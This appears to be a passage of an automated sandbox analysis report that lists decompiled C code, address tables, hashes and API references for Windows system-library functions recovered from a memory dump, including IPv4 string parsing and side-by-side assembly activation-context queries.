wcstol.1105(?,00000000,00000010,00000000,?,00000000), ref: 6B59E88C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$wcstol
String ID:
API String ID: 3196148086-0
Opcode ID: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction ID: 58c22cce8e65317d4989772075d279e1a372635c72f1114a9aa2784b19917e55
Opcode Fuzzy Hash: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction Fuzzy Hash: 3191B075D04256EBEB20DFA8C8807EFF7B5FF55704F2884ABD850A7240E3399A458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6B5471D0, Relevance: 13.7, APIs: 9, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6B5471D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, short* _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t49;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t66;
				void* _t69;
				void* _t70;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t84;
				short* _t85;
				intOrPtr _t86;
				intOrPtr* _t87;
				intOrPtr* _t88;

				if(_a4 == 0 || _a12 == 0) {
					L4:
					return 0xc000000d;
				} else {
					_t85 = _a16;
					if(_t85 == 0 || E6B547220(_a4, _a8,  &_v12, _a12) < 0) {
						goto L4;
					} else {
						_t87 = _v12;
						_t35 =  *_t87;
						if(_t35 != 0x3a) {
							if(_t35 != 0) {
								goto L4;
							}
							_v8 = _v8 & 0x00000000;
							L37:
							 *_t85 = _v8;
							return 0;
						}
						_v8 = _v8 & 0x00000000;
						_t88 = _t87 + 1;
						_t38 = 0xa;
						_v12 = _t38;
						_t83 = 0x10;
						if( *_t88 == 0x30) {
							_t12 = _t88 + 1; // 0x2
							_t82 = _t12;
							_v12 = 8;
							_t88 = _t82;
							_t38 =  *_t88;
							if(_t38 == 0x78 || _t38 == 0x58) {
								_v12 = _t83;
								_t15 = _t82 + 1; // 0x3
								_t88 = _t15;
							}
						}
						_t66 =  *_t88;
						if(_t66 == 0) {
							L33:
							if(_t66 != 0) {
								goto L37;
							}
							goto L4;
						} else {
							do {
								_t86 = _t66;
								_t88 = _t88 + 1;
								_t39 = E6B58CB30(_t38, _t86);
								_pop(_t69);
								if(_t39 == 0) {
									_t84 = _v12;
									L18:
									_t40 = 0x10;
									if(_t84 != _t40) {
										goto L4;
									}
									_t41 = E6B58CB30(_t40, _t86);
									_pop(_t70);
									if(_t41 == 0 || E6B58CDD0(_t70, _t86) == 0) {
										goto L4;
									} else {
										_t43 = E6B58CB30(_t42, _t86);
										_pop(_t72);
										if(_t43 == 0 || E6B58CCE0(_t72, _t86) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_pop(_t73);
										_t48 = ((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86;
										if(((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86 > 0xffff) {
											goto L4;
										} else {
											_v8 = _v8 << 4;
											_t49 = E6B58CB30(_t48, _t86);
											_pop(_t74);
											if(_t49 == 0 || E6B58CCE0(_t74, _t86) == 0) {
												_push(0x41);
											} else {
												_push(0x61);
											}
											_pop(_t75);
											_t76 = 0xa;
											_t38 = _t66 - _t75 + _t76;
											_v8 = _v8 + _t66 - _t75 + _t76;
											goto L31;
										}
									}
								}
								_t54 = E6B58CC80(_t69, _t86);
								_t84 = _v12;
								if(_t54 == 0) {
									goto L18;
								}
								_t55 = _t66;
								_v16 = _t55;
								if(_t55 + 0xffffffd0 >= _t84) {
									goto L18;
								}
								if((_v8 & 0x0000ffff) * (_t84 & 0x0000ffff) + 0xffffffd0 + _t86 > 0xffff) {
									goto L4;
								}
								_t38 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								_v8 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								L31:
								_t66 =  *_t88;
							} while (_t66 != 0);
							_t85 = _a16;
							goto L33;
						}
					}
				}
			}

0x6b5471df
0x6b547208
0x00000000
0x6b5471e7
0x6b5471e7
0x6b5471ec
0x00000000
0x6b5a22f2
0x6b5a22f2
0x6b5a22f5
0x6b5a22f9
0x6b5a2446
0x00000000
0x00000000
0x6b5a244c
0x6b5a2450
0x6b5a245a
0x00000000
0x6b5a245a
0x6b5a22ff
0x6b5a2303
0x6b5a2306
0x6b5a230c
0x6b5a230f
0x6b5a2310
0x6b5a2312
0x6b5a2312
0x6b5a2315
0x6b5a231c
0x6b5a231e
0x6b5a2322
0x6b5a2328
0x6b5a232b
0x6b5a232b
0x6b5a232b
0x6b5a2322
0x6b5a2330
0x6b5a2334
0x6b5a243b
0x6b5a243d
0x00000000
0x00000000
0x00000000
0x6b5a233a
0x6b5a233a
0x6b5a233a
0x6b5a233d
0x6b5a233f
0x6b5a2344
0x6b5a2347
0x6b5a2399
0x6b5a239c
0x6b5a239e
0x6b5a23a2
0x00000000
0x00000000
0x6b5a23a9
0x6b5a23ae
0x6b5a23b1
0x00000000
0x6b5a23c6
0x6b5a23c7
0x6b5a23cc
0x6b5a23cf
0x6b5a23e0
0x6b5a23dc
0x6b5a23dc
0x6b5a23dc
0x6b5a23e9
0x6b5a23ef
0x6b5a23f6
0x00000000
0x6b5a23fc
0x6b5a23fc
0x6b5a2401
0x6b5a2406
0x6b5a2409
0x6b5a241a
0x6b5a2416
0x6b5a2416
0x6b5a2416
0x6b5a241c
0x6b5a2426
0x6b5a2427
0x6b5a242a
0x00000000
0x6b5a242a
0x6b5a23f6
0x6b5a23b1
0x6b5a234a
0x6b5a234f
0x6b5a2355
0x00000000
0x00000000
0x6b5a2357
0x6b5a235b
0x6b5a2364
0x00000000
0x00000000
0x6b5a237a
0x00000000
0x00000000
0x6b5a238e
0x6b5a2391
0x6b5a242e
0x6b5a242e
0x6b5a2430
0x6b5a2438
0x00000000
0x6b5a2438
0x6b5a2334
0x6b5471ec

APIs

RtlIpv4StringToAddressA.1105(00000000,?,00000000,00000000), ref: 6B5471FB

Part of subcall function 6B547220: __isascii.1105(0000000A,?), ref: 6B547275
Part of subcall function 6B547220: isdigit.1105(00000000,?), ref: 6B547283

__isascii.1105(?,00000000,?,00000000,00000000), ref: 6B5A233F
isdigit.1105(?,00000000,?,00000000,00000000), ref: 6B5A234A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit$AddressIpv4String
String ID:
API String ID: 960699662-0
Opcode ID: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction ID: d0b9b97f9355a2fd12bedfbf1808a217cbd39cf68a13f6d7923be5502138f77a
Opcode Fuzzy Hash: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction Fuzzy Hash: 6641463694421697FB019A65E8527FE7BB4DF43324F2442AAE990BB1C0D73DC982D760

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D46A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6B5D46A4(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t121;
				signed int _t126;
				signed int _t127;
				intOrPtr* _t145;
				intOrPtr* _t147;
				signed int _t148;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				intOrPtr _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t167;
				int _t168;
				intOrPtr _t169;
				signed int _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				void* _t175;
				short* _t176;
				signed int _t177;
				void* _t178;

				_t153 = __ecx;
				_t177 = 0;
				_v20 = 0xc00000e5;
				_t172 = _a12;
				_t145 = __edx;
				_v8 = 0;
				_v24 = 0;
				if(_t172 != 0) {
					 *_t172 = 0;
				}
				_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x18)) + _t153 + 8));
				_v16 =  *_t145;
				if( *_t145 < _t162 - 1) {
					E6B571D47( &_v20, _a4, _a8, _t172, 0x58, _t153, _t153, 2,  &_v8,  &_v28);
					if(_v24 == 0) {
						_t177 = _v20;
					} else {
						_t164 = _v8;
						_t19 = _t145 + 4; // 0x0
						_t115 =  *_t19;
						_v24 = _t115;
						_t155 =  *((intOrPtr*)(_t164 + 0x14));
						if(_t115 < _t155) {
							_t116 =  *((intOrPtr*)(_t164 + 0x18));
							if(_t116 == 0) {
								L16:
								_t177 = 0xc0150015;
							} else {
								_v20 = _t177;
								_v12 = _t116 + _t164;
								_v16 = _t177;
								if(_t155 != 0) {
									_v28 =  *_t145 + 1;
									_t147 = _v12 + 0xc;
									_t120 = _v24;
									do {
										_t166 = _v8;
										if( *((intOrPtr*)(_t147 + 8)) != _v28) {
											goto L15;
										} else {
											if(_v20 != _t120 ||  *_t147 == _t177) {
												_v20 = _v20 + 1;
												goto L15;
											} else {
												_t157 =  *_t147 + _t166;
												_v24 = _t157;
												if(_t157 == 0) {
													goto L16;
												} else {
													_t148 = _v16 * 0x18;
													_t121 = 0x14;
													_v20 = _t148;
													_t149 =  *((intOrPtr*)(_t148 + _v12 + 8));
													_t174 = _a12;
													if(_t149 != 0) {
														_t121 = _t149 + 0x16;
													}
													_t150 =  *((intOrPtr*)(_t157 + 8));
													if(_t150 != 0) {
														_t121 = _t121 + 2 + _t150;
													}
													if(_t121 <= _a8) {
														_t151 = _a4;
														_t167 = _v12;
														 *_t151 =  *((intOrPtr*)(_t157 + 4));
														_t51 = _t151 + 0x14; // 0x15
														_t175 = _t51;
														 *((intOrPtr*)(_t151 + 4)) =  *((intOrPtr*)(_v20 + _t167 + 8));
														 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t157 + 8));
														_t126 = _v20;
														 *(_t151 + 0xc) = _t177;
														 *(_t151 + 0x10) = _t177;
														_t168 =  *((intOrPtr*)(_t126 + _t167 + 8));
														_v28 = _t168;
														_t169 = _v8;
														if(_t168 != 0) {
															memcpy(_t175,  *((intOrPtr*)(_t126 + _v12 + 4)) + _t169, _v28);
															_t178 = _t178 + 0xc;
															 *(_t151 + 0xc) = _t175;
															_t176 = _t175 +  *((intOrPtr*)(_v20 + _v12 + 8));
															_t157 = _v24;
															 *_t176 = 0;
															_t175 = _t176 + 2;
														}
														if( *((intOrPtr*)(_t157 + 8)) != _t177) {
															_t127 =  *(_t157 + 0x10);
															if(_t127 != 0) {
																_t171 = _t127 * 0x2c + _v8;
																_v20 = _t171;
																if(_t171 != 0) {
																	 *(_t151 + 0x10) = _t175;
																	_t152 = _t177;
																	if( *((intOrPtr*)(_t157 + 0xc)) <= _t177) {
																		L37:
																		 *_t175 = 0;
																	} else {
																		_t158 = _v24;
																		_v28 = _a4 + _a8;
																		while( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) + 2 + _t175 <= _v28) {
																			if( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) != _t177) {
																				memcpy(_t175, _v8 +  *((intOrPtr*)(_t171 + 4 + _t152 * 8)),  *(_t171 + _t152 * 8));
																				_t171 = _v20;
																				_t178 = _t178 + 0xc;
																				_t158 = _v24;
																				_t175 = _t175 +  *(_t171 + _t152 * 8);
																			}
																			_t152 = _t152 + 1;
																			if(_t152 <  *((intOrPtr*)(_t158 + 0xc))) {
																				continue;
																			} else {
																				goto L37;
																			}
																			goto L39;
																		}
																		goto L16;
																	}
																}
															}
														}
													} else {
														if(_t174 != 0) {
															 *_t174 = _t121;
														}
														_t177 = 0xc0000023;
													}
												}
											}
										}
										goto L39;
										L15:
										_v16 = _v16 + 1;
										_t147 = _t147 + 0x18;
									} while (_v16 < _t155);
								}
								goto L16;
							}
						} else {
							_push( *_t145);
							_push(_t155);
							_push(_t115);
							E6B5D5720(0x33, _t177, "SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
							goto L4;
						}
					}
				} else {
					_push(_t162);
					_push(_v16);
					E6B5D5720(0x33, _t177, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
					L4:
					_t177 = 0xc000000d;
				}
				L39:
				return _t177;
			}

0x6b5d46a4
0x6b5d46ae
0x6b5d46b0
0x6b5d46b8
0x6b5d46bb
0x6b5d46bd
0x6b5d46c0
0x6b5d46c5
0x6b5d46c7
0x6b5d46c7
0x6b5d46cc
0x6b5d46d2
0x6b5d46da
0x6b5d471b
0x6b5d4727
0x6b5d48c0
0x6b5d472d
0x6b5d472d
0x6b5d4730
0x6b5d4730
0x6b5d4733
0x6b5d4736
0x6b5d473b
0x6b5d4758
0x6b5d475d
0x6b5d479f
0x6b5d479f
0x6b5d475f
0x6b5d4761
0x6b5d4764
0x6b5d4767
0x6b5d476c
0x6b5d4774
0x6b5d4777
0x6b5d477a
0x6b5d477d
0x6b5d4783
0x6b5d4786
0x00000000
0x6b5d4788
0x6b5d478b
0x6b5d4791
0x00000000
0x6b5d47a9
0x6b5d47ab
0x6b5d47ad
0x6b5d47b0
0x00000000
0x6b5d47b2
0x6b5d47b2
0x6b5d47bb
0x6b5d47bc
0x6b5d47bf
0x6b5d47c3
0x6b5d47c8
0x6b5d47ca
0x6b5d47ca
0x6b5d47cd
0x6b5d47d2
0x6b5d47d7
0x6b5d47d7
0x6b5d47dc
0x6b5d47ee
0x6b5d47f4
0x6b5d47f7
0x6b5d47f9
0x6b5d47f9
0x6b5d4803
0x6b5d4809
0x6b5d480c
0x6b5d480f
0x6b5d4812
0x6b5d4815
0x6b5d481b
0x6b5d481e
0x6b5d4821
0x6b5d4831
0x6b5d4839
0x6b5d483f
0x6b5d4842
0x6b5d4848
0x6b5d484b
0x6b5d484e
0x6b5d484e
0x6b5d4854
0x6b5d4856
0x6b5d485b
0x6b5d4860
0x6b5d4863
0x6b5d4866
0x6b5d4868
0x6b5d486b
0x6b5d4870
0x6b5d48b9
0x6b5d48bb
0x6b5d4872
0x6b5d4878
0x6b5d487b
0x6b5d487e
0x6b5d4894
0x6b5d48a2
0x6b5d48a7
0x6b5d48aa
0x6b5d48ad
0x6b5d48b0
0x6b5d48b0
0x6b5d48b3
0x6b5d48b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5d48b7
0x00000000
0x6b5d487e
0x6b5d4870
0x6b5d4866
0x6b5d485b
0x6b5d47de
0x6b5d47e0
0x6b5d47e2
0x6b5d47e2
0x6b5d47e4
0x6b5d47e4
0x6b5d47dc
0x6b5d47b0
0x6b5d478b
0x00000000
0x6b5d4794
0x6b5d4794
0x6b5d4797
0x6b5d479a
0x6b5d477d
0x00000000
0x6b5d476c
0x6b5d473d
0x6b5d473d
0x6b5d473f
0x6b5d4740
0x6b5d474e
0x00000000
0x6b5d4753
0x6b5d473b
0x6b5d46dc
0x6b5d46dc
0x6b5d46dd
0x6b5d46ed
0x6b5d46f5
0x6b5d46f5
0x6b5d46f5
0x6b5d48c4
0x6b5d48cb

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6B5917F0,00000000,?,00000000,?), ref: 6B5D46ED

Part of subcall function 6B571D47: memset.1105(00000000,00000000,6B5917F0,?,00000001,00000000,?,6B548D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6B571D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6B61FE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6B5D474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6B5917F0,00000000,?,00000000), ref: 6B5D4831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6B5917F0,00000000,?,00000000), ref: 6B5D48A2

Strings

RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6B5D46E0, 6B5D4741
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6B5D46E5
SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6B5D4746

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: 142fb752a5e9c60b77be9c14947213b87b40f0b868422653e3e75143bea57360
Instruction ID: 35c6a8409090d8625b3911ab0d91c851c06857e954a6829c4328042a5080f3fd
Opcode Fuzzy Hash: 142fb752a5e9c60b77be9c14947213b87b40f0b868422653e3e75143bea57360
Instruction Fuzzy Hash: 90812075E0021ADFEB00CF98C8C1AEEB7B5FF45744B148699E814AB305D374EA52CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D4496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6B5D4496(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				short _v12;
				char _v16;
				char _v20;
				intOrPtr _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr* _t128;
				void* _t154;
				intOrPtr _t155;
				intOrPtr* _t162;
				void* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				void* _t171;
				short* _t172;
				short* _t173;
				short* _t174;
				void* _t175;

				_t170 = _a12;
				_t167 = __edx;
				_v16 = 0xc00000e5;
				_t165 = __ecx;
				_v12 = 0;
				if(_t170 != 0) {
					 *_t170 = 0;
				}
				_t96 =  *((intOrPtr*)(_t165 + 0x18));
				_t154 =  *((intOrPtr*)(_t96 + _t165 + 0xc)) + _t165;
				if(_t167 <  *((intOrPtr*)(_t96 + _t165 + 8))) {
					asm("lfence");
					_push( &_v20);
					_t169 =  *((intOrPtr*)(_t167 * 0x18 + _t154 + 0x10)) + _t165;
					_push( &_v8);
					_push(1);
					_push(0);
					_push(_t165);
					_t155 = 0x58;
					_push(_t155);
					_push(_t170);
					_push(_a8);
					_push(_a4);
					E6B571D47( &_v16);
					if(_v12 == 0) {
						return _v16;
					}
					_t20 = _t169 + 8; // 0xffffff98
					_t106 =  *_t20;
					if(_t106 != 0) {
						_t21 = _t106 + 0x5a; // 0xfffffff2
						_t155 = _t21;
					}
					_t22 = _t169 + 0x14; // 0x0
					_t107 =  *_t22;
					if(_t107 != 0) {
						_t155 = _t155 + 2 + _t107;
					}
					_t23 = _t169 + 0x28; // 0xffffffc4
					_t108 =  *_t23;
					if(_t108 != 0) {
						_t155 = _t155 + 2 + _t108;
					}
					_t24 = _t169 + 0x50; // 0xfffffecc
					_t109 =  *_t24;
					if(_t109 != 0) {
						_t155 = _t155 + 2 + _t109;
					}
					if(_t155 <= _a8) {
						_t162 = _a4;
						_t27 = _t169 + 4; // 0x0
						 *_t162 =  *_t27;
						_t28 = _t162 + 0x58; // 0x59
						_t171 = _t28;
						_t29 = _t169 + 8; // 0xffffff98
						 *((intOrPtr*)(_t162 + 4)) =  *_t29;
						_t31 = _t169 + 0x10; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 8)) =  *_t31;
						_t33 = _t169 + 0x14; // 0x0
						 *((intOrPtr*)(_t162 + 0xc)) =  *_t33;
						_t35 = _t169 + 0x1c; // 0x0
						 *((intOrPtr*)(_t162 + 0x10)) =  *_t35;
						_t37 = _t169 + 0x20; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x14)) =  *_t37;
						_t39 = _t169 + 0x24; // 0x0
						 *((intOrPtr*)(_t162 + 0x18)) =  *_t39;
						_t41 = _t169 + 0x28; // 0xffffffc4
						 *((intOrPtr*)(_t162 + 0x1c)) =  *_t41;
						_t43 = _t169 + 0x30; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x20)) =  *_t43;
						_t45 = _t169 + 0x34; // 0x0
						 *((intOrPtr*)(_t162 + 0x24)) =  *_t45;
						_t47 = _t169 + 0x38; // 0x6b5b4794
						 *((intOrPtr*)(_t162 + 0x28)) =  *_t47;
						_t49 = _t169 + 0x40; // 0x0
						 *((intOrPtr*)(_t162 + 0x2c)) =  *_t49;
						_t51 = _t169 + 0x44; // 0x6b5b47bb
						 *((intOrPtr*)(_t162 + 0x30)) =  *_t51;
						_t53 = _t169 + 0x48; // 0xffffffe4
						 *((intOrPtr*)(_t162 + 0x34)) =  *_t53;
						_t55 = _t169 + 0x4c; // 0x0
						 *((intOrPtr*)(_t162 + 0x38)) =  *_t55;
						_t57 = _t169 + 0x50; // 0xfffffecc
						 *((intOrPtr*)(_t162 + 0x3c)) =  *_t57;
						 *((intOrPtr*)(_t162 + 0x40)) = 0;
						 *((intOrPtr*)(_t162 + 0x44)) = 0;
						 *((intOrPtr*)(_t162 + 0x48)) = 0;
						 *((intOrPtr*)(_t162 + 0x4c)) = 0;
						_t63 = _t169 + 0x58; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x50)) =  *_t63;
						if( *(_t169 + 8) != 0) {
							_t66 = _t169 + 8; // 0xffffff98
							_t67 = _t169 + 0xc; // 0x0
							memcpy(_t171,  *_t67 + _v8,  *_t66);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x40) = _t171;
							_t71 = _t169 + 8; // 0xffffff98
							_t174 = _t171 +  *_t71;
							 *_t174 = 0;
							_t171 = _t174 + 2;
						}
						if( *(_t169 + 0x14) != 0) {
							_t73 = _t169 + 0x14; // 0x0
							_t74 = _t169 + 0x18; // 0x6b5b4765
							memcpy(_t171,  *_t74 + _v8,  *_t73);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x44) = _t171;
							_t78 = _t169 + 0x14; // 0x0
							_t173 = _t171 +  *_t78;
							 *_t173 = 0;
							_t171 = _t173 + 2;
						}
						if( *(_t169 + 0x28) != 0) {
							_t80 = _t169 + 0x28; // 0xffffffc4
							_t81 = _t169 + 0x2c; // 0x0
							memcpy(_t171,  *_t81 + _v8,  *_t80);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x48) = _t171;
							_t85 = _t169 + 0x28; // 0xffffffc4
							_t172 = _t171 +  *_t85;
							 *_t172 = 0;
							_t171 = _t172 + 2;
						}
						if( *(_t169 + 0x50) != 0) {
							_t87 = _t169 + 0x50; // 0xfffffecc
							_t88 = _t169 + 0x54; // 0x0
							memcpy(_t171,  *_t88 + _v8,  *_t87);
							 *(_a4 + 0x4c) = _t171;
							_t92 = _t169 + 0x50; // 0xfffffecc
							 *((short*)(_t171 +  *_t92)) = 0;
						}
						_t128 = _a12;
						if(_t128 != 0) {
							 *_t128 = _t155;
						}
						return 0;
					} else {
						if(_t170 != 0) {
							 *_t170 = _t155;
						}
						return 0xc0000023;
					}
				} else {
					_push( *((intOrPtr*)(_t96 + _t165 + 8)));
					_push(_t167);
					E6B5D5720(0x33, 0, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryAssemblyInformationActivationContextDetailedInformation");
					return 0xc000000d;
				}
			}

0x6b5d44a0
0x6b5d44a4
0x6b5d44a6
0x6b5d44ad
0x6b5d44b1
0x6b5d44b6
0x6b5d44b8
0x6b5d44b8
0x6b5d44ba
0x6b5d44c1
0x6b5d44c7
0x6b5d44f0
0x6b5d44fa
0x6b5d44fe
0x6b5d4500
0x6b5d4504
0x6b5d4506
0x6b5d4507
0x6b5d450a
0x6b5d450b
0x6b5d450c
0x6b5d450d
0x6b5d4513
0x6b5d4517
0x6b5d4523
0x00000000
0x6b5d4698
0x6b5d4529
0x6b5d4529
0x6b5d452e
0x6b5d4530
0x6b5d4530
0x6b5d4530
0x6b5d4533
0x6b5d4533
0x6b5d4538
0x6b5d453d
0x6b5d453d
0x6b5d453f
0x6b5d453f
0x6b5d4544
0x6b5d4549
0x6b5d4549
0x6b5d454b
0x6b5d454b
0x6b5d4550
0x6b5d4555
0x6b5d4555
0x6b5d455a
0x6b5d456c
0x6b5d456f
0x6b5d4572
0x6b5d4574
0x6b5d4574
0x6b5d4577
0x6b5d457a
0x6b5d457d
0x6b5d4580
0x6b5d4583
0x6b5d4586
0x6b5d4589
0x6b5d458c
0x6b5d458f
0x6b5d4592
0x6b5d4595
0x6b5d4598
0x6b5d459b
0x6b5d459e
0x6b5d45a1
0x6b5d45a4
0x6b5d45a7
0x6b5d45aa
0x6b5d45ad
0x6b5d45b0
0x6b5d45b3
0x6b5d45b6
0x6b5d45b9
0x6b5d45bc
0x6b5d45bf
0x6b5d45c2
0x6b5d45c5
0x6b5d45c8
0x6b5d45cb
0x6b5d45ce
0x6b5d45d3
0x6b5d45d6
0x6b5d45d9
0x6b5d45dc
0x6b5d45df
0x6b5d45e2
0x6b5d45e9
0x6b5d45eb
0x6b5d45ee
0x6b5d45f6
0x6b5d45fe
0x6b5d4601
0x6b5d4606
0x6b5d4606
0x6b5d4609
0x6b5d460c
0x6b5d460c
0x6b5d4613
0x6b5d4615
0x6b5d4618
0x6b5d4620
0x6b5d4628
0x6b5d462b
0x6b5d4630
0x6b5d4630
0x6b5d4633
0x6b5d4636
0x6b5d4636
0x6b5d463d
0x6b5d463f
0x6b5d4642
0x6b5d464a
0x6b5d4652
0x6b5d4655
0x6b5d465a
0x6b5d465a
0x6b5d465d
0x6b5d4660
0x6b5d4660
0x6b5d4667
0x6b5d4669
0x6b5d466c
0x6b5d4674
0x6b5d4681
0x6b5d4684
0x6b5d4687
0x6b5d4687
0x6b5d468b
0x6b5d4690
0x6b5d4692
0x6b5d4692
0x00000000
0x6b5d455c
0x6b5d455e
0x6b5d4560
0x6b5d4560
0x00000000
0x6b5d4562
0x6b5d44c9
0x6b5d44c9
0x6b5d44cd
0x6b5d44db
0x00000000
0x6b5d44e3

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6B5917F0,00000000,?,?), ref: 6B5D44DB

Part of subcall function 6B571D47: memset.1105(00000000,00000000,6B5917F0,?,00000001,00000000,?,6B548D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6B571D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B5917F0,00000000,?,?), ref: 6B5D45F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B5917F0,00000000,?,?), ref: 6B5D4620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B5917F0,00000000,?,?), ref: 6B5D464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B5917F0,00000000,?,?), ref: 6B5D4674

Strings

SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6B5D44D3
RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6B5D44CE

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
